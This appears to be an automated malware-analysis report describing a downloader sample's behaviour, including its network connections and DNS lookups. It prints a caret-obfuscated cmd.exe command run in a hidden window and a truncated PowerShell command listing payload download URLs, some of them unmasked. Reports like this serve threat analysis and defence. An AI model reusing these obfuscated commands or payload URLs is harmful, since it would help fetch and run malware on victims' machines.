Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c c^M^D, , /v^:O^ , , /R " , , ( , ( ,, ,(^S^et ^ ^ ^7u=qY^B^ RQ^z 2od 2z1^ 1GR K^Zx c^ju KPf T^tH^ ^gV^J^ ZDK ^wk^2^ ^k^a9 bh5 Rn^T^ 3^9n 3Ev mp^k^}e^Sg}YlO{1rXhq4sc^m^potN^jLaF5Vc...
Network activity
Connects to
- 'ez####online.com':80
- 'he#####cumentary.com':80
- 'mg#.org.au':80
TCP
HTTP GET requests
- http://ez####online.com/mcVOXdeHQ
- http://ez####online.com/mcVOXdeHQ/
- http://he#####cumentary.com/hellosouthamerica.com/6QP3PcZbH
- http://mg#.org.au/0aql92n8Wg
UDP
- DNS ASK vo####ailand.com
- DNS ASK ez####online.com
- DNS ASK he#####cumentary.com
- DNS ASK mg#.org.au
- DNS ASK co####ervicios.cl
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c c^M^D, , /v^:O^ , , /R " , , ( , ( ,, ,(^S^et ^ ^ ^7u=qY^B^ RQ^z 2od 2z1^ 1GR K^Zx c^ju KPf T^tH^ ^gV^J^ ZDK ^wk^2^ ^k^a9 bh5 Rn^T^ 3^9n 3Ev mp^k^}e^Sg}YlO{1rXhq4sc^m^potN^jLaF5Vc...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' , , /v:O , , /R " , , ( , ( ,, ,(^S^et ^ ^ ^7u=qY^B^ RQ^z 2od 2z1^ 1GR K^Zx c^ju KPf T^tH^ ^gV^J^ ZDK ^wk^2^ ^k^a9 bh5 Rn^T^ 3^9n 3Ev mp^k^}e^Sg}YlO{1rXhq4sc^m^potN^jLaF5Vc^yUi}^t^g0...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $HYh='OzM';$fXr='http://vo####ailand.com/RvC2xxVB@http://ezpullonline.com/mcVOXdeHQ@http://hellodocumentary.com/hellosouthamerica.com/6QP3PcZbH@http://mgc.org.au/0aql92n8Wg@http://cosmoservicio...
